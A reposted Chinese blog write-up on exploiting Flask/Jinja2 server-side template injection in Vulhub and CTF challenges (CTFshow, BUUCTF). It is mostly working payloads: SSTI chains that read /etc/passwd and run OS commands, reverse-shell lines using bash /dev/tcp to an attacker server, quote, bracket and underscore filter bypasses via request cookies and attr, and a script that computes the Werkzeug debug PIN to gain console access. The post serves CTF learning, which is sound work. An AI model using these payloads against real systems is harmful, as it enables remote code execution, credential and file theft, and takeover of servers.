Vulhub Flask SSTI漏洞复现

环境搭建

  • 首先利用docker搭建好环境 docker-compose up -d
    在这里插入图片描述
  • docker ps查看搭建的端口:8000

漏洞复现

  • 开始复现
  • flask-ssti漏洞以前有总结过 整理的不够好 今天重新整理一下
  • 题目源码
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()
  • 模板是jinja2模板,学习链接jinja2
  • 注入点
  name = request.args.get('name', 'guest')
  t = Template("Hello " + name)
  return t.render()
  • 获取get传的name参数后 进行渲染 造成构造注入的漏洞
  • 判断措施name={ { 'aaa' | upper}}
  • 页面回显 Hello AAA
  • 利用漏洞 这里在前面的文章讲过了
  • 官方漏洞利用
{
    
    % for c in [].__class__.__base__.__subclasses__() %}
{
    
    % if c.__name__ == 'catch_warnings' %}
  {
    
    % for b in c.__init__.__globals__.values() %}
  {
    
    % if b.__class__ == {
    
    }.__class__ %}
    {
    
    % if 'eval' in b.keys() %}
      {
    
    {
    
     b['eval']('__import__("os").popen("id").read()') }}
    {
    
    % endif %}
  {
    
    % endif %}
  {
    
    % endfor %}
{
    
    % endif %}
{
    
    % endfor %}
  • 自己整理的 利用官方payload复现成功
    在这里插入图片描述

python3

  • python3 利用open函数去读取文件
#文件读取
{
    
    {
    
    ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
  • 或者利用被重载过的函数.__init__后带wrapper表示没有被重载
  • 这里可以用个脚本跑一下 但是做题的时候 有些题目可能被阉割过 所以不能用脚本跑出的数据
num = -1
search = '__builtins__'
for c in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in c.__init__.__globals__.keys():
            print(c, num)
    except:
        pass
  • 脚本跑的结果 数字不能用 但是函数是可以用滴!
    <class ‘_frozen_importlib._ModuleLock’> 80
    <class ‘_frozen_importlib._DummyModuleLock’> 81
    <class ‘_frozen_importlib._ModuleLockManager’> 82
    <class ‘_frozen_importlib.ModuleSpec’> 83
    <class ‘_frozen_importlib_external.FileLoader’> 94
    <class ‘_frozen_importlib_external._NamespacePath’> 95
    <class ‘_frozen_importlib_external._NamespaceLoader’> 96
    <class ‘_frozen_importlib_external.FileFinder’> 98
    <class ‘zipimport.zipimporter’> 105
    <class ‘zipimport._ZipImportResourceReader’> 106
    <class ‘codecs.IncrementalEncoder’> 108
    <class ‘codecs.IncrementalDecoder’> 109
    <class ‘codecs.StreamReaderWriter’> 110
    <class ‘codecs.StreamRecoder’> 111
    <class ‘os._wrap_close’> 134
    <class ‘os._AddedDllDirectory’> 135
    <class ‘_sitebuiltins.Quitter’> 136
    <class ‘_sitebuiltins._Printer’> 137
  • 含有__buitins__就可以利用python的内建函数了
  • 这里给几个payload
{
    
    {
    
    ().__class__.__base__.__subclasses__[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
{
    
    % for c in ().__class__.__bases__[0].__subclasses__() %}{
    
    % if c.__name__=="catch_warnings" %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{
    
    % endif %}{
    
    % endfor %}

python2

  • payload
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
  • 如果将代码改成这样就不会造成模板注入了。
t = Template("Hello {
    
    {n}}")
return t.render(n=name)

CTFSHOW

WEB361

  • payload
{
   
   {''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

WEB362

  • 想用os._wrap_close类但是失败了
  • 不知道过滤了啥
  • WEB361的payload成功命令执行了
  • 看看过滤了啥
name = request.args.get(&#39;name&#39;)
	if name:
		if re.search(r&#34;2|3&#34;,name,re.I):
			return &#39;:(&#39;
  • 这个过滤真的奇妙
  • 顺便看了一下别人的payload
?name={
    
    {
    
    lipsum.__globals__.__getitem__("os").popen("cat /flag").read()}}
?name={
    
    {
    
    lipsum.__globals__['os'].popen('ls').read()}}
?name={
    
    {
    
    x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
  • 第一个payload:
    lipsum是flask框架下的内置函数吧 调用了一下 发现会随机生成文章
    __getitem__是python的魔法函数,指定键后返回值
    第一个payload与第二个payload差别就在于一个是自己指定了键’os’,一个是利用_getitem_()返回值
  • 第三个payload a.__class__也是个类<class ‘jinja2.runtime.Undefined’>

WEB363 过滤"" ‘’

  • fuzz发现过滤了单引号双引号
  • payload
?name={
    
    {
    
    a.__class__.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
  • 源码
from flask import Flask 
from flask import request 
from flask import render_template_string 
import re 
app = Flask(__name__) 
@app.route('/') 
def app_index(): 
    name = request.args.get('name') 
    if name: if re.search(r"\'|\"",name,re.I):
        return ':(' 
    template = ''' {%% block body %%} <div class="center-content error"> <h1>Hello</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.args.get('name')) 
    return render_template_string(template) 
if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)
  • 另外的payload
?name={
    
    {
    
    lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag
?name={
    
    {
    
    lipsum.__globals__.__getitem__(request.args.a).eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
?name={
    
    {
    
    x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

过滤单引号和双引号可以通过request绕过

WEB364 过滤’’ “” args

  • 和上面题目的差别在过滤了args
  • 将上题的payload中的args改为cookies
  • 然后Hackbar传cookie值
b=__import__('os').popen('cat ../flag').read(); a=__builtins__

WEB365 过滤 “” ‘’ args []

  • payload:
?name={
    
    {
    
    lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag
?name={
    
    {
    
    lipsum.__globals__.__getitem__(request.args.a).eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
  • Hackbar传cookie值
b=__import__('os').popen('cat ../flag').read(); a=__builtins__

WEB366

  • 进一步过滤了[],args,_
  • payload:
?name={
    
    {
    
    (lipsum|attr(request.cookies.c)|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read()}
 d=__getitem__; a=os; b=cat /flag; c=__globals__
  • 过滤 ‘’ ""可以通过request.args.a绕过
  • 过滤args可以通过request.cookies.a绕过
  • 过滤[]可以通过__getitem__()绕过
  • 过滤_后,__getitem__无法直接调用,用attr绕过

WEB367

  • payload:
?name={
    
    {
    
    (x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
  • cookies
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

WEB368

  • 过滤了{ {}}用{%%}控制语句代替
  • payload:
{
    
    % print((x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}
Payload:?name={
    
    % print(((lipsum|attr(request.cookies.c))|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read())%}
带上Cookie:a=os;b=cat /flag;c=__globals__;d=__getitem__
  • cookie
a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

BUUCTF

[GYCTF2020]FlaskApp

  • 预期解 PIN码
  • 生成PIN码需要知道6个值
  1. flask所登录的用户名。可以通过读取/etc/password知道
  2. modname 一般不变就是flask.app
  3. getattr(app, “name”, app.class.name)。python该值一般为Flask ,值一般不变
  4. flask库下app.py的绝对路径。在报错信息中可以获取此值为
  5. 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡
  6. docker机器id
    对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。
    对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
  • 接下来写怎么获取上面的每个值
  1. payload:
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{
    
    % endif %}{
    
    % endfor %}
  • flaskweb❌1000:1000::/home/flaskweb:/bin/sh 用户名为flaskweb
  1. 值为flask.app
  2. 值为Flask
  3. 报错信息中有 例如输入{ {''.\__subclass\__()}}值位/usr/local/lib/python3.7/site-packages/flask/app.py
  4. payload:
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{
    
    % endif %}{
    
    % endfor %}
  • 值为:02:42:ac:10:ad:e6 转十进制:2485377871334
  1. payload
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{
    
    % endif %}{
    
    % endfor %}
  • 值为:0b24cc4505e46d218654edfe0b570bab59967e457aa89fce9fc9b87c78b5c5ac
  • 最后用佬写的exp去跑
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377871334',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '0b24cc4505e46d218654edfe0b570bab59967e457aa89fce9fc9b87c78b5c5ac'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

  • 我的PIN码值是:168-621-872
  • 在页面输入{ {’’._subclass_}}造成报错后 在报错页面输入PIN码就可以进入debug模式
    在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/CyhDl666/article/details/115207111